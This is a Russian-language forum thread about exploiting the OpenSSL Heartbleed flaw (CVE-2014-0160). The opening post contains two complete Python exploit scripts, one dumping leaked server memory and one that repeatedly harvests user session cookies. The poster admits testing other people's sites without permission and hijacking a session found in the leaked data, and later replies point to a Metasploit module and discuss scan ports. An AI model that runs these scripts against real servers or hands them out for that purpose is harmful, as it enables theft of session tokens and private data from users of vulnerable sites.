Heartbleed Bug - поверхностное использование

Discussion in 'Безопасность и Анонимность' started by disbeliever, 11 Apr 2014.

  1. disbeliever

    disbeliever New Member

    Joined:
    22 Jan 2010
    Messages:
    7
    Likes Received:
    2
    Reputations:
    5
    С денек пошарившись по новостям насчет Heartbleed решил я потестить сайты окружающих на данную уязвимость. Когда онлайн чекер filippo.io/Heartbleed/ надоел в ход пошли готовые эксплоиты. Вот один из них.

    Code:
    #!/usr/bin/python
      
    # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
    # The author disclaims copyright to this source code.
      
    import sys
    import struct
    import socket
    import time
    import select
    import re
    from optparse import OptionParser
      
    options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
    options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
      
    def h2bin(x):
        return x.replace(' ', '').replace('\n', '').decode('hex')
      
    hello = h2bin('''
    16 03 02 00  dc 01 00 00 d8 03 02 53
    43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
    bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
    00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
    00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
    c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
    c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
    c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
    c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
    00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
    03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
    00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
    00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
    00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
    00 0f 00 01 01                                 
    ''')
      
    hb = h2bin('''
    18 03 02 00 03
    01 40 00
    ''')
      
    def hexdump(s):
        for b in xrange(0, len(s), 16):
            lin = [c for c in s[b : b + 16]]
            hxdat = ' '.join('%02X' % ord(c) for c in lin)
            pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
            print '  %04x: %-48s %s' % (b, hxdat, pdat)
        print
      
    def recvall(s, length, timeout=5):
        endtime = time.time() + timeout
        rdata = ''
        remain = length
        while remain > 0:
            rtime = endtime - time.time()
            if rtime < 0:
                return None
            r, w, e = select.select([s], [], [], 5)
            if s in r:
                data = s.recv(remain)
                # EOF?
                if not data:
                    return None
                rdata += data
                remain -= len(data)
        return rdata
              
      
    def recvmsg(s):
        hdr = recvall(s, 5)
        if hdr is None:
            print 'Unexpected EOF receiving record header - server closed connection'
            return None, None, None
        typ, ver, ln = struct.unpack('>BHH', hdr)
        pay = recvall(s, ln, 10)
        if pay is None:
            print 'Unexpected EOF receiving record payload - server closed connection'
            return None, None, None
        print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
        return typ, ver, pay
      
    def hit_hb(s):
        s.send(hb)
        while True:
            typ, ver, pay = recvmsg(s)
            if typ is None:
                print 'No heartbeat response received, server likely not vulnerable'
                return False
      
            if typ == 24:
                print 'Received heartbeat response:'
                hexdump(pay)
                if len(pay) > 3:
                    print 'WARNING: server returned more data than it should - server is vulnerable!'
                else:
                    print 'Server processed malformed heartbeat, but did not return any extra data.'
                return True
      
            if typ == 21:
                print 'Received alert:'
                hexdump(pay)
                print 'Server returned error, likely not vulnerable'
                return False
      
    def main():
        opts, args = options.parse_args()
        if len(args) < 1:
            options.print_help()
            return
      
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print 'Connecting...'
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        print 'Sending Client Hello...'
        sys.stdout.flush()
        s.send(hello)
        print 'Waiting for Server Hello...'
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                print 'Server closed connection without sending Server Hello.'
                return
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break
      
        print 'Sending heartbeat request...'
        sys.stdout.flush()
        s.send(hb)
        hit_hb(s)
      
    if __name__ == '__main__':
        main()
     
    # 392164AAAD9A3A12   1337day.com [2014-04-11]   F6385B09958196DD #
    Юзаем
    Code:
     python script.py site.com
    Пролистывая результат скрипта случайно наткнулся на чью то сессию, которую сразу же удачно подменил.

    Позже нашелся еще один скрипт который выдает сразу активные сессии пользователей

    Code:
    #!/usr/bin/python
     
    # Modified by Samiux (on April 10, 2014) which is based on the code of Michael Davis.
     
    # Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
    # Michael Davis ([email protected])
     
    # Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
     
    # The author disclaims copyright to this source code.
     
    import select
    import sys
    import string
    import struct
    import socket
    import time
    from optparse import OptionParser
     
    options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
    options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
    options.add_option('-c', '--cookie', type='str', default='session', help='Cookie to look for (default: session)')
    options.add_option('-l', '--length', type='int', default=1024, help='Length of the cookie (default: 1024)')
     
    def h2bin(x):
        return x.replace(' ', '').replace('\n', '').decode('hex')
     
    hello = h2bin('''
    16 03 02 00  dc 01 00 00 d8 03 02 53
    43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
    bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
    00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
    00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
    c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
    c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
    c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
    c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
    00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
    03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
    00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
    00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
    00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
    00 0f 00 01 01
    ''')
     
    hb = h2bin('''
    18 03 02 00 03
    01 40 00
    ''')
     
     
    class HeartBleeder(object):
     
        server_response = None
        socket = None
        found_sessions = set()
        hostname = ''
        port = 0
        cookie = ''
        cookie_length = 0
     
        def __init__(self, hostname='', port=0, cookie='', cookie_length=0):
            self.hostname = hostname
            self.cookie = cookie
            self.port = port
            self.cookie_length = cookie_length
     
        def connect(self):
            """
           Connects to the remote server.
           """
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sys.stdout.flush()
            self.socket.connect((self.hostname, self.port))
            sys.stdout.flush()
            self.socket.send(hello)
            sys.stdout.flush()
     
        def rcv_response(self):
            while True:
                _type, version, payload = self.rcv_message()
                if _type is None:
                    print 'Server closed connection without sending Server Hello.'
                    return
                # Look for server hello done message.
                if _type == 22 and ord(payload[0]) == 0x0E:
                    break
     
        def rcv_message(self):
     
            record_header = self.rcv_all(5)
            if record_header is None:
                print 'Unexpected EOF receiving record header - server closed connection'
                return None, None, None
            _type, version, line = struct.unpack('>BHH', record_header)
            payload = self.rcv_all(line, 10)
            if payload is None:
                print 'Unexpected EOF receiving record payload - server closed connection'
                return None, None, None
            return _type, version, payload
     
        def rcv_all(self, length, timeout=5):
            endtime = time.time() + timeout
            rdata = ''
            remain = length
            while remain > 0:
                rtime = endtime - time.time()
                if rtime < 0:
                    return None
                r, w, e = select.select([self.socket], [], [], 5)
                if self.socket in r:
                    data = self.socket.recv(remain)
                    # EOF?
                    if not data:
                        return None
                    rdata += data
                    remain -= len(data)
            return rdata
     
        def try_heartbeat(self):
            self.socket.send(hb)
            while True:
                _type, version, self.payload = self.rcv_message()
                if _type is None:
                    print 'No heartbeat response received, server likely not vulnerable'
                    return False
     
                if _type == 24:
                    # print 'Received heartbeat response:'
                    self.parse_response()
                    if len(self.payload) > 3:
                        pass
                    else:
                        print 'Server processed malformed heartbeat, but did not return any extra data.'
                    return True
     
                if _type == 21:
                    print 'Received alert:'
                    self.hexdump(self.payload)
                    print 'Server returned error, likely not vulnerable'
                    return False
     
        def parse_response(self):
            """
           Parses the response from the server for a session id.
           """
            ascii = ''.join((c if 32 <= ord(c) <= 126 else ' ')for c in self.payload)
            index = string.find(ascii, self.cookie)
            if index >= 0:
                info = ascii[index:index + self.cookie_length]
                session = info.split(' ')[0]
                session = string.replace(session, ';', '')
                if session not in self.found_sessions:
                    self.found_sessions.add(session)
                    print session
     
        def hexdump(self, payload):
            """
           Prints out a hexdump in the event that server returns an error.
           """
            for b in xrange(0, len(payload), 16):
                line = [c for c in payload[b:b + 16]]
                hxdat = ' '.join('%02X' % ord(c) for c in line)
                pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in line)
                print '  %04x: %-48s %s' % (b, hxdat, pdat)
            print
     
        def scan(self):
            self.connect()
            self.rcv_response()
            self.try_heartbeat()
     
     
    def main():
        opts, args = options.parse_args()
        if len(args) < 1:
            options.print_help()
            return
     
        print 'Port   :', opts.port
        print 'Cookie :', opts.cookie
        print 'Length :', opts.length
        print ''
     
        while True:
            heartbeat = HeartBleeder(hostname=args[0], port=opts.port, cookie=opts.cookie, cookie_length=opts.length)
            heartbeat.scan()
     
     
    if __name__ == '__main__':
        main()
    Ссылки на тестеры на уязвимость и эксплоиты тык

    Если кто то знает еще что нибудь интересное по теме делимся)
     
    2 people like this.
  2. chuna

    chuna New Member

    Joined:
    2 Apr 2013
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
  3. disbeliever

    disbeliever New Member

    Joined:
    22 Jan 2010
    Messages:
    7
    Likes Received:
    2
    Reputations:
    5
    Используем Heartbleed Bug через Metasploit

    Эксплоит на Ruby - сцыль

    Все просто
    [​IMG]

    Источник
     
  4. Sitronik

    Sitronik Member

    Joined:
    4 Oct 2012
    Messages:
    184
    Likes Received:
    33
    Reputations:
    3
    Какие порты еще можно указать на сканирование этой уязвимости кроме 443?
    Какие часто встречаються?
     
  5. disbeliever

    disbeliever New Member

    Joined:
    22 Jan 2010
    Messages:
    7
    Likes Received:
    2
    Reputations:
    5
    Это может быть и любой другой, но чаще всего это 443